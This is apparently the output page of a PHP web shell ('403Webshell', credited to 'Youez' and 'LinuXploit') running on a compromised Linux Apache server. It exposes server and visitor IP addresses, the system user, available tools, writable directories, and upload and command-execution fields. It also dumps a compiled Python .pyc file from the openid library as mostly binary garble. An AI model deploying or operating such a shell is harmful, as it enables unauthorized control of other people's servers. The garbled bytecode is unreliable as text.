403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/openid/yadis/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/openid/yadis/__pycache__/xri.cpython-311.pyc
�

8O�^�
���dZddlZddlmZddlmZgd�Zd�Zd�Zej	d��Z
d	�Zd
�Zd�Z
d�Zd
�Zd�Zd�ZdS)z�Utility functions for handling XRIs.

@see: XRI Syntax v2.0 at the U{OASIS XRI Technical Committee<http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=xri>}
�N)�reduce)�	codecutil)�!�=�@�+�$�(c�V�|�d��s|r|dtvrdSdS)zWDetermine if this identifier is an XRI or URI.

    @returns: C{"XRI"} or C{"URI"}
    �xri://r�XRI�URI)�
startswith�XRI_AUTHORITIES)�
identifiers �2/usr/lib/python3/dist-packages/openid/yadis/xri.py�identifierSchemers:��
���X�&�&��:��+5�a�=�O�+K�+K��u��u�c�T�|�d��sd|z}t|��S)z$Transform an XRI to IRI-normal form.r)r�escapeForIRI��xris r�toIRINormalrs-���>�>�(�#�#����n������rz	\((.*?)\)c��|���}|�dd��}|�dd��}|�dd��}|S)zKEscape things that need to be escaped if they're in a cross-reference.
    �/z%2F�?z%3F�#z%23)�group�replace)�
xref_match�xrefs  r�_escape_xrefr"%sS�������D��<�<��U�#�#�D��<�<��U�#�#�D��<�<��U�#�#�D��Krc�r�|�dd��}t�t|��}|S)zBEscape things that need to be escaped when transforming to an IRI.�%z%25)r�_xref_re�subr"rs rrr/s-��

�+�+�c�5�
!�
!�C�
�,�,�|�S�
)�
)�C��Jrc�:�tt|����S)z$Transform an XRI to URI normal form.)�iriToURIrrs r�toURINormalr)6s���K��$�$�%�%�%rc��t|t��rt|d���}|�dd������S)z.Transform an IRI to a URI by escaping unicode.zutf-8)�encoding�ascii�oid_percent_escape)�errors)�
isinstance�bytes�str�encode�decode)�iris rr(r(;sK���#�u���)��#��(�(�(���:�:�g�&:�:�;�;�B�B�D�D�Drc�L�|�d��}|d|�}||kS)zKIs this provider ID authoritative for this XRI?

    @returntype: bool
    rN)�rindex)�
providerID�canonicalID�lastbang�parents    r�providerIsAuthoritativer;Cs0���!�!�#�&�&�H�
��(��
#�F��Z��rc��|�d��r
|dd�}|�dd��d}|ddkr!|d|�d��dz�}nY|dtvr	|d}nA|�d	��}t	t
jd
�|D����}|d}t|��S)z�Return the root authority for an XRI.

    Example::

        rootAuthority("xri://@example") == "xri://@"

    @type xri: unicode
    @returntype: unicode
    r�Nr�rr
�)rc�8�g|]}|�d����S)�*)�split)�.0�ss  r�
<listcomp>z!rootAuthority.<locals>.<listcomp>hs"��(H�(H�(H�!�������(H�(H�(Hr)rrB�indexrr�list�__add__r
)r�	authority�root�segmentss    r�
rootAuthorityrLNs����~�~�h�����!�"�"�g���	�	�#�q�!�!�!�$�I���|�s����2�)�/�/�#�.�.��2�2�3���	�1���	(�	(���|����?�?�3�'�'���$�,�(H�(H�x�(H�(H�(H�I�I����{���t�9�9�rc�:�|�d��sd|z}|S)a)An XRI object allowing comparison of XRI.

    Ideally, this would do full normalization and provide comparsion
    operators as per XRI Syntax.  Right now, it just does a bit of
    canonicalization by ensuring the xri scheme is present.

    @param xri: an xri string
    @type xri: unicode
    r)rrs rr
r
ns&���>�>�(�#�#����n���Jr)�__doc__�re�	functoolsr�openidrrrr�compiler%r"rr)r(r;rLr
�rr�<module>rTs�����

�	�	�	�������������0�0�0��	�	�	�����2�:�l�#�#��������&�&�&�
E�E�E� � � ����@����r

Youez - 2016 - github.com/yon3zu
LinuXploit